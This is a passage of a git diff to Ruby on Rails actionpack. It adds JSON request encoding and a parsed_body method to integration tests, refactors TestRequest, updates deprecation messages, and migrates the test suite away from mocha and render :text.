(controller + default action), with an error message if it fails # assert_routing '/store', { controller: 'store', action: 'index' }, {}, {}, 'Route for store index not generated properly' # # # Tests a route, providing a defaults hash # assert_routing 'controller/action/9', {id: "9", item: "square"}, {controller: "controller", action: "action"}, {}, {item: "square"} # - # # Tests a route with a HTTP method + # # Tests a route with an HTTP method # assert_routing({ method: 'put', path: '/product/321' }, { controller: "product", action: "update", id: "321" }) def assert_routing(path, options, defaults={}, extras={}, message=nil) assert_recognizes(options, path, extras, message) @@ -165,7 +166,7 @@ module ActionDispatch # ROUTES TODO: These assertions should really work in an integration context def method_missing(selector, *args, &block) - if defined?(@controller) && @controller && @routes && @routes.named_routes.route_defined?(selector) + if defined?(@controller) && @controller && defined?(@routes) && @routes && @routes.named_routes.route_defined?(selector) @controller.send(selector, *args, &block) else super @@ -183,7 +184,7 @@ module ActionDispatch end # Assume given controller - request = ActionController::TestRequest.new + request = ActionController::TestRequest.create if path =~ %r{://} fail_on(URI::InvalidURIError, msg) do diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb index 9390e2937a..384254b131 100644 --- a/actionpack/lib/action_dispatch/testing/integration.rb +++ b/actionpack/lib/action_dispatch/testing/integration.rb @@ -2,6 +2,7 @@ require 'stringio' require 'uri' require 'active_support/core_ext/kernel/singleton_class' require 'active_support/core_ext/object/try' +require 'active_support/core_ext/string/strip' require 'rack/test' require 'minitest' @@ -70,7 +71,7 @@ module ActionDispatch end # Performs an XMLHttpRequest request with the given parameters, mirroring - # a request from the Prototype library. + # an AJAX request made from JavaScript. # # The request_method is +:get+, +:post+, +:patch+, +:put+, +:delete+ or # +:head+; the parameters are +nil+, a hash, or a url-encoded or multipart @@ -80,7 +81,7 @@ module ActionDispatch # # xhr :get, '/feed', params: { since: 201501011400 } def xml_http_request(request_method, path, *args) - if kwarg_request?(*args) + if kwarg_request?(args) params, headers, env = args.first.values_at(:params, :headers, :env) else params = args[0] @@ -94,7 +95,7 @@ module ActionDispatch ActiveSupport::Deprecation.warn(<<-MSG.strip_heredoc) xhr and xml_http_request methods are deprecated in favor of - `get "/posts", xhr: true` and `post "/posts/1", xhr: true` + `get "/posts", xhr: true` and `post "/posts/1", xhr: true`. MSG process(request_method, path, params: params, headers: headers, xhr: true) @@ -121,6 +122,7 @@ module ActionDispatch # params: { ref_id: 14 }, # headers: { "X-Test-Header" => "testvalue" } def request_via_redirect(http_method, path, *args) + ActiveSupport::Deprecation.warn('`request_via_redirect` is deprecated and will be removed in Rails 5.1. Please use `follow_redirect!` manually after the request call for the same behavior.') process_with_kwargs(http_method, path, *args) follow_redirect! while redirect? @@ -130,35 +132,35 @@ module ActionDispatch # Performs a GET request, following any subsequent redirect. # See +request_via_redirect+ for more information. def get_via_redirect(path, *args) - ActiveSupport::Deprecation.warn('`get_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.') + ActiveSupport::Deprecation.warn('`get_via_redirect` is deprecated and will be removed in Rails 5.1. Please use `follow_redirect!` manually after the request call for the same behavior.') request_via_redirect(:get, path, *args) end # Performs a POST request, following any subsequent redirect. # See +request_via_redirect+ for more information. def post_via_redirect(path, *args) - ActiveSupport::Deprecation.warn('`post_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.') + ActiveSupport::Deprecation.warn('`post_via_redirect` is deprecated and will be removed in Rails 5.1. Please use `follow_redirect!` manually after the request call for the same behavior.') request_via_redirect(:post, path, *args) end # Performs a PATCH request, following any subsequent redirect. # See +request_via_redirect+ for more information. def patch_via_redirect(path, *args) - ActiveSupport::Deprecation.warn('`patch_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.') + ActiveSupport::Deprecation.warn('`patch_via_redirect` is deprecated and will be removed in Rails 5.1. Please use `follow_redirect!` manually after the request call for the same behavior.') request_via_redirect(:patch, path, *args) end # Performs a PUT request, following any subsequent redirect. # See +request_via_redirect+ for more information. def put_via_redirect(path, *args) - ActiveSupport::Deprecation.warn('`put_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.') + ActiveSupport::Deprecation.warn('`put_via_redirect` is deprecated and will be removed in Rails 5.1. Please use `follow_redirect!` manually after the request call for the same behavior.') request_via_redirect(:put, path, *args) end # Performs a DELETE request, following any subsequent redirect. # See +request_via_redirect+ for more information. def delete_via_redirect(path, *args) - ActiveSupport::Deprecation.warn('`delete_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.') + ActiveSupport::Deprecation.warn('`delete_via_redirect` is deprecated and will be removed in Rails 5.1. Please use `follow_redirect!` manually after the request call for the same behavior.') request_via_redirect(:delete, path, *args) end end @@ -290,16 +292,16 @@ module ActionDispatch end def process_with_kwargs(http_method, path, *args) - if kwarg_request?(*args) + if kwarg_request?(args) process(http_method, path, *args) else - non_kwarg_request_warning if args.present? + non_kwarg_request_warning if args.any? process(http_method, path, { params: args[0], headers: args[1] }) end end REQUEST_KWARGS = %i(params headers env xhr) - def kwarg_request?(*args) + def kwarg_request?(args) args[0].respond_to?(:keys) && args[0].keys.any? { |k| REQUEST_KWARGS.include?(k) } end @@ -320,19 +322,28 @@ module ActionDispatch end # Performs the actual request. - def process(method, path, params: nil, headers: nil, env: nil, xhr: false) + def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: nil) + request_encoder = RequestEncoder.encoder(as) + if path =~ %r{://} location = URI.parse(path) https! URI::HTTPS === location if location.scheme - host! "#{location.host}:#{location.port}" if location.host - path = location.query ? "#{location.path}?#{location.query}" : location.path + if url_host = location.host + default = Rack::Request::DEFAULT_PORTS[location.scheme] + url_host += ":#{location.port}" if default != location.port + host! url_host + end + path = request_encoder.append_format_to location.path + path = location.query ? "#{path}?#{location.query}" : path + else + path = request_encoder.append_format_to path end hostname, port = host.split(':') request_env = { :method => method, - :params => params, + :params => request_encoder.encode_params(params), "SERVER_NAME" => hostname, "SERVER_PORT" => port || (https? ? "443" : "80"), @@ -342,22 +353,22 @@ module ActionDispatch "REQUEST_URI" => path, "HTTP_HOST" => host, "REMOTE_ADDR" => remote_addr, - "CONTENT_TYPE" => "application/x-www-form-urlencoded", + "CONTENT_TYPE" => request_encoder.content_type, "HTTP_ACCEPT" => accept } if xhr headers ||= {} headers['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest' - headers['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ') + headers['HTTP_ACCEPT'] ||= [Mime[:js], Mime[:html], Mime[:xml], 'text/xml', '*/*'].join(', ') end # this modifies the passed request_env directly if headers.present? - Http::Headers.new(request_env).merge!(headers) + Http::Headers.from_hash(request_env).merge!(headers) end if env.present? - Http::Headers.new(request_env).merge!(env) + Http::Headers.from_hash(request_env).merge!(env) end session = Rack::Test::Session.new(_mock_session) @@ -370,10 +381,12 @@ module ActionDispatch @request = ActionDispatch::Request.new(session.last_request.env) response = _mock_session.last_response @response = ActionDispatch::TestResponse.from_response(response) + @response.request = @request + @response.response_parser = RequestEncoder.parser(@response.content_type) @html_document = nil @url_options = nil - @controller = session.last_request.env['action_controller.instance'] + @controller = @request.controller_instance response.status end @@ -381,6 +394,56 @@ module ActionDispatch def build_full_uri(path, env) "#{env['rack.url_scheme']}://#{env['SERVER_NAME']}:#{env['SERVER_PORT']}#{path}" end + + class RequestEncoder # :nodoc: + @encoders = {} + + attr_reader :response_parser + + def initialize(mime_name, param_encoder, response_parser, url_encoded_form = false) + @mime = Mime[mime_name] + + unless @mime + raise ArgumentError, "Can't register a request encoder for " \ + "unregistered MIME Type: #{mime_name}. See `Mime::Type.register`." + end + + @url_encoded_form = url_encoded_form + @path_format = ".#{@mime.symbol}" unless @url_encoded_form + @response_parser = response_parser || -> body { body } + @param_encoder = param_encoder || :"to_#{@mime.symbol}".to_proc + end + + def append_format_to(path) + path << @path_format unless @url_encoded_form + path + end + + def content_type + @mime.to_s + end + + def encode_params(params) + @param_encoder.call(params) + end + + def self.parser(content_type) + mime = Mime::Type.lookup(content_type) + encoder(mime ? mime.ref : nil).response_parser + end + + def self.encoder(name) + @encoders[name] || WWWFormEncoder + end + + def self.register_encoder(mime_name, param_encoder: nil, response_parser: nil) + @encoders[mime_name] = new(mime_name, param_encoder, response_parser) + end + + register_encoder :json, response_parser: -> body { JSON.parse(body) } + + WWWFormEncoder = new(:url_encoded_form, -> params { params }, nil, true) + end end module Runner @@ -390,7 +453,7 @@ module ActionDispatch attr_reader :app - def before_setup + def before_setup # :nodoc: @app = nil @integration_session = nil super @@ -428,7 +491,6 @@ module ActionDispatch # reset the html_document variable, except for cookies/assigns calls unless method == 'cookies' || method == 'assigns' @html_document = nil - reset_template_assertion end integration_session.__send__(method, *args).tap do @@ -583,7 +645,7 @@ module ActionDispatch # https!(false) # get "/articles/all" # assert_response :success - # assert assigns(:articles) + # assert_select 'h1', 'Articles' # end # end # @@ -622,7 +684,7 @@ module ActionDispatch # def browses_site # get "/products/all" # assert_response :success - # assert assigns(:products) + # assert_select 'h1', 'Products' # end # end # @@ -638,33 +700,85 @@ module ActionDispatch # end # end # + # You can also test your JSON API easily by setting what the request should + # be encoded as: + # + # require 'test_helper' + # + # class ApiTest < ActionDispatch::IntegrationTest + # test 'creates articles' do + # assert_difference -> { Article.count } do + # post articles_path, params: { article: { title: 'Ahoy!' } }, as: :json + # end + # + # assert_response :success + # assert_equal({ id: Arcticle.last.id, title: 'Ahoy!' }, response.parsed_body) + # end + # end + # + # The `as` option sets the format to JSON, sets the content type to + # 'application/json' and encodes the parameters as JSON. + # + # Calling `parsed_body` on the response parses the response body as what + # the last request was encoded as. If the request wasn't encoded `as` something, + # it's the same as calling `body`. + # + # For any custom MIME Types you've registered, you can even add your own encoders with: + # + # ActionDispatch::IntegrationTest.register_encoder :wibble, + # param_encoder: -> params { params.to_wibble }, + # response_parser: -> body { body } + # + # Where `param_encoder` defines how the params should be encoded and + # `response_parser` defines how the response body should be parsed through + # `parsed_body`. + # # Consult the Rails Testing Guide for more. class IntegrationTest < ActiveSupport::TestCase - include Integration::Runner - include ActionController::TemplateAssertions - include ActionDispatch::Routing::UrlFor + module UrlOptions + extend ActiveSupport::Concern + def url_options + integration_session.url_options + end + end - @@app = nil + module Behavior + extend ActiveSupport::Concern - def self.app - @@app || ActionDispatch.test_app - end + include Integration::Runner + include ActionController::TemplateAssertions - def self.app=(app) - @@app = app - end + included do + include ActionDispatch::Routing::UrlFor + include UrlOptions # don't let UrlFor override the url_options method + ActiveSupport.run_load_hooks(:action_dispatch_integration_test, self) + @@app = nil + end - def app - super || self.class.app - end + module ClassMethods + def app + defined?(@@app) ? @@app : ActionDispatch.test_app + end - def url_options - integration_session.url_options - end + def app=(app) + @@app = app + end - def document_root_element - html_document.root + def register_encoder(*args) + Integration::Session::RequestEncoder.register_encoder(*args) + end + end + + def app + super || self.class.app + end + + def document_root_element + html_document.root + end end + + include Behavior end end diff --git a/actionpack/lib/action_dispatch/testing/test_process.rb b/actionpack/lib/action_dispatch/testing/test_process.rb index 630e6a9b78..1ecd7d14a7 100644 --- a/actionpack/lib/action_dispatch/testing/test_process.rb +++ b/actionpack/lib/action_dispatch/testing/test_process.rb @@ -1,13 +1,12 @@ require 'action_dispatch/middleware/cookies' require 'action_dispatch/middleware/flash' -require 'active_support/core_ext/hash/indifferent_access' module ActionDispatch module TestProcess def assigns(key = nil) - assigns = {}.with_indifferent_access - @controller.view_assigns.each { |k, v| assigns.regular_writer(k, v) } - key.nil? ? assigns : assigns[key] + raise NoMethodError, + "assigns has been extracted to a gem. To continue using it, + add `gem 'rails-controller-testing'` to your Gemfile." end def session @@ -19,14 +18,14 @@ module ActionDispatch end def cookies - @request.cookie_jar + @cookie_jar ||= Cookies::CookieJar.build(@request, @request.cookies) end def redirect_to_url @response.redirect_url end - # Shortcut for <tt>Rack::Test::UploadedFile.new(File.join(ActionController::TestCase.fixture_path, path), type)</tt>: + # Shortcut for <tt>Rack::Test::UploadedFile.new(File.join(ActionDispatch::IntegrationTest.fixture_path, path), type)</tt>: # # post :change_avatar, avatar: fixture_file_upload('files/spongebob.png', 'image/png') # diff --git a/actionpack/lib/action_dispatch/testing/test_request.rb b/actionpack/lib/action_dispatch/testing/test_request.rb index 4b9a088265..46523a8600 100644 --- a/actionpack/lib/action_dispatch/testing/test_request.rb +++ b/actionpack/lib/action_dispatch/testing/test_request.rb @@ -4,38 +4,41 @@ require 'rack/utils' module ActionDispatch class TestRequest < Request DEFAULT_ENV = Rack::MockRequest.env_for('/', - 'HTTP_HOST' => 'test.host', - 'REMOTE_ADDR' => '0.0.0.0', - 'HTTP_USER_AGENT' => 'Rails Testing' + 'HTTP_HOST' => 'test.host', + 'REMOTE_ADDR' => '0.0.0.0', + 'HTTP_USER_AGENT' => 'Rails Testing', ) - def self.new(env = {}) - super + # Create a new test request with default `env` values + def self.create(env = {}) + env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application + env["rack.request.cookie_hash"] ||= {}.with_indifferent_access + new(default_env.merge(env)) end - def initialize(env = {}) - env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application - super(default_env.merge(env)) + def self.default_env + DEFAULT_ENV end + private_class_method :default_env def request_method=(method) - @env['REQUEST_METHOD'] = method.to_s.upcase + set_header('REQUEST_METHOD', method.to_s.upcase) end def host=(host) - @env['HTTP_HOST'] = host + set_header('HTTP_HOST', host) end def port=(number) - @env['SERVER_PORT'] = number.to_i + set_header('SERVER_PORT', number.to_i) end def request_uri=(uri) - @env['REQUEST_URI'] = uri + set_header('REQUEST_URI', uri) end def path=(path) - @env['PATH_INFO'] = path + set_header('PATH_INFO', path) end def action=(action_name) @@ -43,36 +46,24 @@ module ActionDispatch end def if_modified_since=(last_modified) - @env['HTTP_IF_MODIFIED_SINCE'] = last_modified + set_header('HTTP_IF_MODIFIED_SINCE', last_modified) end def if_none_match=(etag) - @env['HTTP_IF_NONE_MATCH'] = etag + set_header('HTTP_IF_NONE_MATCH', etag) end def remote_addr=(addr) - @env['REMOTE_ADDR'] = addr + set_header('REMOTE_ADDR', addr) end def user_agent=(user_agent) - @env['HTTP_USER_AGENT'] = user_agent + set_header('HTTP_USER_AGENT', user_agent) end def accept=(mime_types) - @env.delete('action_dispatch.request.accepts') - @env['HTTP_ACCEPT'] = Array(mime_types).collect(&:to_s).join(",") - end - - alias :rack_cookies :cookies - - def cookies - @cookies ||= {}.with_indifferent_access - end - - private - - def default_env - DEFAULT_ENV + delete_header('action_dispatch.request.accepts') + set_header('HTTP_ACCEPT', Array(mime_types).collect(&:to_s).join(",")) end end end diff --git a/actionpack/lib/action_dispatch/testing/test_response.rb b/actionpack/lib/action_dispatch/testing/test_response.rb index a9b88ac5fd..9d4b73a43d 100644 --- a/actionpack/lib/action_dispatch/testing/test_response.rb +++ b/actionpack/lib/action_dispatch/testing/test_response.rb @@ -7,7 +7,7 @@ module ActionDispatch # See Response for more information on controller response objects. class TestResponse < Response def self.from_response(response) - new response.status, response.headers, response.body, default_headers: nil + new response.status, response.headers, response.body end # Was the response successful? @@ -16,10 +16,13 @@ module ActionDispatch # Was the URL not found? alias_method :missing?, :not_found? - # Were we redirected? - alias_method :redirect?, :redirection? - # Was there a server-side error? alias_method :error?, :server_error? + + attr_writer :response_parser # :nodoc: + + def parsed_body + @parsed_body ||= @response_parser.call(body) + end end end diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb index f664dab620..941877d10d 100644 --- a/actionpack/lib/action_pack.rb +++ b/actionpack/lib/action_pack.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2015 David Heinemeier Hansson +# Copyright (c) 2004-2016 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the diff --git a/actionpack/lib/action_pack/gem_version.rb b/actionpack/lib/action_pack/gem_version.rb index 255ac9f4ed..d8f86630b1 100644 --- a/actionpack/lib/action_pack/gem_version.rb +++ b/actionpack/lib/action_pack/gem_version.rb @@ -6,7 +6,7 @@ module ActionPack module VERSION MAJOR = 5 - MINOR = 0 + MINOR = 1 TINY = 0 PRE = "alpha" diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb index fc59bf19c4..edbb84d462 100644 --- a/actionpack/test/abstract/collector_test.rb +++ b/actionpack/test/abstract/collector_test.rb @@ -53,9 +53,9 @@ module AbstractController collector.html collector.text(:foo) collector.js(:bar) { :baz } - assert_equal [Mime::HTML, [], nil], collector.responses[0] - assert_equal [Mime::TEXT, [:foo], nil], collector.responses[1] - assert_equal [Mime::JS, [:bar]], collector.responses[2][0,2] + assert_equal [Mime[:html], [], nil], collector.responses[0] + assert_equal [Mime[:text], [:foo], nil], collector.responses[1] + assert_equal [Mime[:js], [:bar]], collector.responses[2][0,2] assert_equal :baz, collector.responses[2][2].call end end diff --git a/actionpack/test/abstract/translation_test.rb b/actionpack/test/abstract/translation_test.rb index 8289252dfc..1435928578 100644 --- a/actionpack/test/abstract/translation_test.rb +++ b/actionpack/test/abstract/translation_test.rb @@ -24,7 +24,6 @@ module AbstractController }, }, }) - @controller.stubs(action_name: :index) end def test_action_controller_base_responds_to_translate @@ -44,25 +43,34 @@ module AbstractController end def test_lazy_lookup - assert_equal 'bar', @controller.t('.foo') + @controller.stub :action_name, :index do + assert_equal 'bar', @controller.t('.foo') + end end def test_lazy_lookup_with_symbol - assert_equal 'bar', @controller.t(:'.foo') + @controller.stub :action_name, :index do + assert_equal 'bar', @controller.t(:'.foo') + end end def test_lazy_lookup_fallback - assert_equal 'no_action_tr', @controller.t(:'.no_action') + @controller.stub :action_name, :index do + assert_equal 'no_action_tr', @controller.t(:'.no_action') + end end def test_default_translation - assert_equal 'bar', @controller.t('one.two') + @controller.stub :action_name, :index do + assert_equal 'bar', @controller.t('one.two') + end end def test_localize time, expected = Time.gm(2000), 'Sat, 01 Jan 2000 00:00:00 +0000' - I18n.stubs(:localize).with(time).returns(expected) - assert_equal expected, @controller.l(time) + I18n.stub :localize, expected do + assert_equal expected, @controller.l(time) + end end end end diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb index 62ff1be5c9..fcbbfe8a18 100644 --- a/actionpack/test/abstract_unit.rb +++ b/actionpack/test/abstract_unit.rb @@ -1,5 +1,3 @@ -require File.expand_path('../../../load_paths', __FILE__) - $:.unshift(File.dirname(__FILE__) + '/lib') $:.unshift(File.dirname(__FILE__) + '/fixtures/helpers') $:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers') @@ -14,10 +12,17 @@ silence_warnings do end require 'drb' -require 'drb/unix' -require 'tempfile' +begin + require 'drb/unix' +rescue LoadError + puts "'drb/unix' is not available" +end -PROCESS_COUNT = (ENV['N'] || 4).to_i +if ENV['TRAVIS'] + PROCESS_COUNT = 0 +else + PROCESS_COUNT = (ENV['N'] || 4).to_i +end require 'active_support/testing/autorun' require 'abstract_controller' @@ -38,6 +43,8 @@ module Rails def env @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "test") end + + def root; end; end end @@ -59,6 +66,12 @@ FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures') SharedTestRoutes = ActionDispatch::Routing::RouteSet.new +SharedTestRoutes.draw do + ActiveSupport::Deprecation.silence do + get ':controller(/:action)' + end +end + module ActionDispatch module SharedRoutes def before_setup @@ -66,35 +79,10 @@ module ActionDispatch super end end - - # Hold off drawing routes until all the possible controller classes - # have been loaded. - module DrawOnce - class << self - attr_accessor :drew - end - self.drew = false - - def before_setup - super - return if DrawOnce.drew - - SharedTestRoutes.draw do - get ':controller(/:action)' - end - - ActionDispatch::IntegrationTest.app.routes.draw do - get ':controller(/:action)' - end - - DrawOnce.drew = true - end - end end module ActiveSupport class TestCase - include ActionDispatch::DrawOnce if RUBY_ENGINE == "ruby" && PROCESS_COUNT > 0 parallelize_me! end @@ -115,44 +103,56 @@ class RoutedRackApp end class ActionDispatch::IntegrationTest < ActiveSupport::TestCase - include ActionDispatch::SharedRoutes - def self.build_app(routes = nil) RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware| - middleware.use "ActionDispatch::ShowExceptions", ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public") - middleware.use "ActionDispatch::DebugExceptions" - middleware.use "ActionDispatch::Callbacks" - middleware.use "ActionDispatch::ParamsParser" - middleware.use "ActionDispatch::Cookies" - middleware.use "ActionDispatch::Flash" - middleware.use "Rack::Head" + middleware.use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public") + middleware.use ActionDispatch::DebugExceptions + middleware.use ActionDispatch::Callbacks + middleware.use ActionDispatch::Cookies + middleware.use ActionDispatch::Flash + middleware.use Rack::Head yield(middleware) if block_given? end end self.app = build_app - # Stub Rails dispatcher so it does not get controller references and - # simply return the controller#action as Rack::Body. - class StubDispatcher < ::ActionDispatch::Routing::RouteSet::Dispatcher - protected - def controller_reference(controller_param) - controller_param + app.routes.draw do + ActiveSupport::Deprecation.silence do + get ':controller(/:action)' end + end + + class DeadEndRoutes < ActionDispatch::Routing::RouteSet + # Stub Rails dispatcher so it does not get controller references and + # simply return the controller#action as Rack::Body. + class NullController < ::ActionController::Metal + def initialize(controller_name) + @controller = controller_name + end - def dispatch(controller, action, env) - [200, {'Content-Type' => 'text/html'}, ["#{controller}##{action}"]] + def make_response!(request) + self.class.make_response! request + end + + def dispatch(action, req, res) + [200, {'Content-Type' => 'text/html'}, ["#{@controller}##{action}"]] + end + end + + class NullControllerRequest < DelegateClass(ActionDispatch::Request) + def controller_class + NullController.new params[:controller] + end + end + + def make_request env + NullControllerRequest.new super end end - def self.stub_controllers - old_dispatcher = ActionDispatch::Routing::RouteSet::Dispatcher - ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher } - ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, StubDispatcher } - yield ActionDispatch::Routing::RouteSet.new - ensure - ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher } - ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, old_dispatcher } + def self.stub_controllers(config = ActionDispatch::Routing::RouteSet::DEFAULT_CONFIG) + yield DeadEndRoutes.new(config) end def with_routing(&block) @@ -228,6 +228,10 @@ class Rack::TestCase < ActionDispatch::IntegrationTest end module ActionController + class API + extend AbstractController::Railties::RoutesHelpers.with(SharedTestRoutes) + end + class Base # This stub emulates the Railtie including the URL helpers from a Rails application extend AbstractController::Railties::RoutesHelpers.with(SharedTestRoutes) @@ -338,45 +342,49 @@ module RoutingTestHelpers end class TestSet < ActionDispatch::Routing::RouteSet - attr_reader :strict - - def initialize(block, strict = false) - @block = block - @strict = strict - super() - end - - class Dispatcher < ActionDispatch::Routing::RouteSet::Dispatcher - def initialize(defaults, set, block) - super(defaults) + class Request < DelegateClass(ActionDispatch::Request) + def initialize(target, helpers, block, strict) + super(target) + @helpers = helpers @block = block - @set = set - end - - def controller(params, default_controller=true) - super(params, @set.strict) + @strict = strict end - def controller_reference(controller_param) + def controller_class + helpers = @helpers block = @block - set = @set - super if @set.strict - Class.new(ActionController::Base) { - include set.url_helpers + Class.new(@strict ? super : ActionController::Base) { + include helpers define_method(:process) { |name| block.call(self) } def to_a; [200, {}, []]; end } end end - def dispatcher defaults - TestSet::Dispatcher.new defaults, self, @block + attr_reader :strict + + def initialize(block, strict = false) + @block = block + @strict = strict + super() + end + + private + + def make_request(env) + Request.new super, url_helpers, @block, strict end end end +class MetalRenderingController < ActionController::Metal + include AbstractController::Rendering + include ActionController::Rendering + include ActionController::Renderers +end + class ResourcesController < ActionController::Base - def index() render :nothing => true end + def index() head :ok end alias_method :show, :index end @@ -384,13 +392,11 @@ class ThreadsController < ResourcesController; end class MessagesController < ResourcesController; end class CommentsController < ResourcesController; end class ReviewsController < ResourcesController; end -class LogosController < ResourcesController; end class AccountsController < ResourcesController; end class AdminController < ResourcesController; end class ProductsController < ResourcesController; end class ImagesController < ResourcesController; end -class PreferencesController < ResourcesController; end module Backoffice class ProductsController < ResourcesController; end @@ -411,7 +417,7 @@ def jruby_skip(message = '') skip message if defined?(JRUBY_VERSION) end -require 'mocha/setup' # FIXME: stop using mocha +require 'active_support/testing/method_call_assertions' class ForkingExecutor class Server @@ -483,3 +489,7 @@ if RUBY_ENGINE == "ruby" && PROCESS_COUNT > 0 # Use N processes (N defaults to 4) Minitest.parallel_executor = ForkingExecutor.new(PROCESS_COUNT) end + +class ActiveSupport::TestCase + include ActiveSupport::Testing::MethodCallAssertions +end diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb index 5e64cae7e2..579ce0ed29 100644 --- a/actionpack/test/assertions/response_assertions_test.rb +++ b/actionpack/test/assertions/response_assertions_test.rb @@ -6,17 +6,27 @@ module ActionDispatch class ResponseAssertionsTest < ActiveSupport::TestCase include ResponseAssertions - FakeResponse = Struct.new(:response_code) do - [:success, :missing, :redirect, :error].each do |sym| + FakeResponse = Struct.new(:response_code, :location) do + def initialize(*) + super + self.location ||= "http://test.example.com/posts" + end + + [:successful, :not_found, :redirection, :server_error].each do |sym| define_method("#{sym}?") do sym == response_code end end end + def setup + @controller = nil + @request = nil + end + def test_assert_response_predicate_methods [:success, :missing, :redirect, :error].each do |sym| - @response = FakeResponse.new sym + @response = FakeResponse.new RESPONSE_PREDICATES[sym].to_s.sub(/\?/, '').to_sym assert_response sym assert_raises(Minitest::Assertion) { @@ -58,6 +68,50 @@ module ActionDispatch assert_response :succezz } end + + def test_error_message_shows_404_when_404_asserted_for_success + @response = ActionDispatch::Response.new + @response.status = 404 + + error = assert_raises(Minitest::Assertion) { assert_response :success } + expected = "Expected response to be a <2XX: success>,"\ + " but was a <404: Not Found>" + assert_match expected, error.message + end + + def test_error_message_shows_404_when_asserted_for_200 + @response = ActionDispatch::Response.new + @response.status = 404 + + error = assert_raises(Minitest::Assertion) { assert_response 200 } + expected = "Expected response to be a <200: OK>,"\ + " but was a <404: Not Found>" + assert_match expected, error.message + end + + def test_error_message_shows_302_redirect_when_302_asserted_for_success + @response = ActionDispatch::Response.new + @response.status = 302 + @response.location = 'http://test.host/posts/redirect/1' + + error = assert_raises(Minitest::Assertion) { assert_response :success } + expected = "Expected response to be a <2XX: success>,"\ + " but was a <302: Found>" \ + " redirect to <http://test.host/posts/redirect/1>" + assert_match expected, error.message + end + + def test_error_message_shows_302_redirect_when_302_asserted_for_301 + @response = ActionDispatch::Response.new + @response.status = 302 + @response.location = 'http://test.host/posts/redirect/2' + + error = assert_raises(Minitest::Assertion) { assert_response 301 } + expected = "Expected response to be a <301: Moved Permanently>,"\ + " but was a <302: Found>" \ + " redirect to <http://test.host/posts/redirect/2>" + assert_match expected, error.message + end end end end diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb index 21586e2193..db71aa2160 100644 --- a/actionpack/test/controller/action_pack_assertions_test.rb +++ b/actionpack/test/controller/action_pack_assertions_test.rb @@ -5,9 +5,6 @@ class ActionPackAssertionsController < ActionController::Base def nothing() head :ok end - def hello_world() render :template => "test/hello_world"; end - def hello_repeating_in_path() render :template => "test/hello/hello"; end - def hello_xml_world() render :template => "test/hello_xml_world"; end def hello_xml_world_pdf @@ -20,8 +17,6 @@ class ActionPackAssertionsController < ActionController::Base render :template => "test/hello_xml_world" end - def partial() render :partial => 'test/partial'; end - def redirect_internal() redirect_to "/nothing"; end def redirect_to_action() redirect_to :action => "flash_me", :id => 1, :params => { "panda" => "fun" }; end @@ -48,12 +43,12 @@ class ActionPackAssertionsController < ActionController::Base def flash_me flash['hello'] = 'my name is inigo montoya...' - render :text => "Inconceivable!" + render plain: "Inconceivable!" end def flash_me_naked flash.clear - render :text => "wow!" + render plain: "wow!" end def assign_this @@ -62,40 +57,30 @@ class ActionPackAssertionsController < ActionController::Base end def render_based_on_parameters - render :text => "Mr. #{params[:name]}" + render plain: "Mr. #{params[:name]}" end def render_url - render :text => "<div>#{url_for(:action => 'flash_me', :only_path => true)}</div>" + render html: "<div>#{url_for(action: 'flash_me', only_path: true)}</div>" end def render_text_with_custom_content_type - render :text => "Hello!", :content_type => Mime::RSS - end - - def render_with_layout - @variable_for_layout = nil - render "test/hello_world", :layout => "layouts/standard" - end - - def render_with_layout_and_partial - @variable_for_layout = nil - render "test/hello_world_with_partial", :layout => "layouts/standard" + render body: "Hello!", content_type: Mime[:rss] end def session_stuffing session['xmas'] = 'turkey' - render :text => "ho ho ho" + render plain: "ho ho ho" end def raise_exception_on_get raise "get" if request.get? - render :text => "request method: #{request.env['REQUEST_METHOD']}" + render plain: "request method: #{request.env['REQUEST_METHOD']}" end def raise_exception_on_post raise "post" if request.post? - render :text => "request method: #{request.env['REQUEST_METHOD']}" + render plain: "request method: #{request.env['REQUEST_METHOD']}" end def render_file_absolute_path @@ -116,14 +101,14 @@ class AssertResponseWithUnexpectedErrorController < ActionController::Base end def show - render :text => "Boom", :status => 500 + render plain: "Boom", status: 500 end end module Admin class InnerModuleController < ActionController::Base def index - render :nothing => true + head :ok end def redirect_to_index @@ -192,7 +177,10 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase set.draw do get 'route_one', :to => 'action_pack_assertions#nothing', :as => :route_one get 'route_two', :to => 'action_pack_assertions#nothing', :id => 'two', :as => :route_two - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end process :redirect_to_named_route 